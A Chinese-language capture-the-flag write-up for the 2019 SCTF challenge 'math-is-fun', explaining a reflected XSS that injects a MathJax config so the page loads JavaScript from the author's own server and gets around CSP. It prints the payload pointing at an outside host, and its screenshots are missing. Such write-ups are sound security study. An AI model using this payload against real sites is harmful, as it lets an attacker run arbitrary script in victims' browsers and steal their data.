math-is-fun
math-is-fun1
知識點:利用外部組件進行的反射型 XSS
步驟:
1.打開靶機,是這樣一個頁面。

似乎要提交給管理員頁面來看,頁面沒看到有可以提交進行儲存的地方。
2.然后來看看頁面源碼。

這個地方似乎可控,來試試。

Nice,可以。
3.再來看看下面的 js。

可以看到,其對 config 進行解析,首先處理換行,而后對其進行解析
-config[‘name’]=value會被賦值到 window 的config里的 name value。
-name=value的會被賦值到 window 的 name,值為 value。
4.那么看看有什么地方讀了 window 的,可以看到這里加載了 mathjax 來處理數學公式的顯示。
5.點擊進去看看源碼,搜索 window,還真調用了。


可以看到其在初始化時將 window 里已有的 MathJax 存到自身的 AuthorConfig 里,而后其會讀取這個設置,將里面的 root 作為組件的 root 進行設置。

那么就好辦了,我們就構造一個參數,使其從我們的網站上加載我們的 js,這樣想做啥都可以了,很棒的是這樣加載不受 CSP 之類的限制,美滋滋。
6.構造如下,
name那里其實為
glzjin;
MathJax={"root":"http://xss.zhaoj.in/math"}
這樣就達到我們之前想達到的目的了。
7.把這個鏈接打過去,就可以看到 XSSBOT 加載了什么資源了。
祖傳算號器:
import string, hashlib
a = string.digits + string.lowercase + string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
if s == "5e86c":
print(i + j + k + m)
exit(0)
打開我自己服務器日志,得


說明:這里其實我原本是直接在瀏覽器上看了看資源加載,沒想到正常版的 Chrome 和 XSSBOT 的 headless Chrome 還有所不同,正常版 Chrome 加載的資源和 headless 的不同,錯失一血-
8.在服務器上創建一個這個路徑的文件,


9.再打一遍。收 XSS。


10.Flag 到手~
2019SCTF-Writeup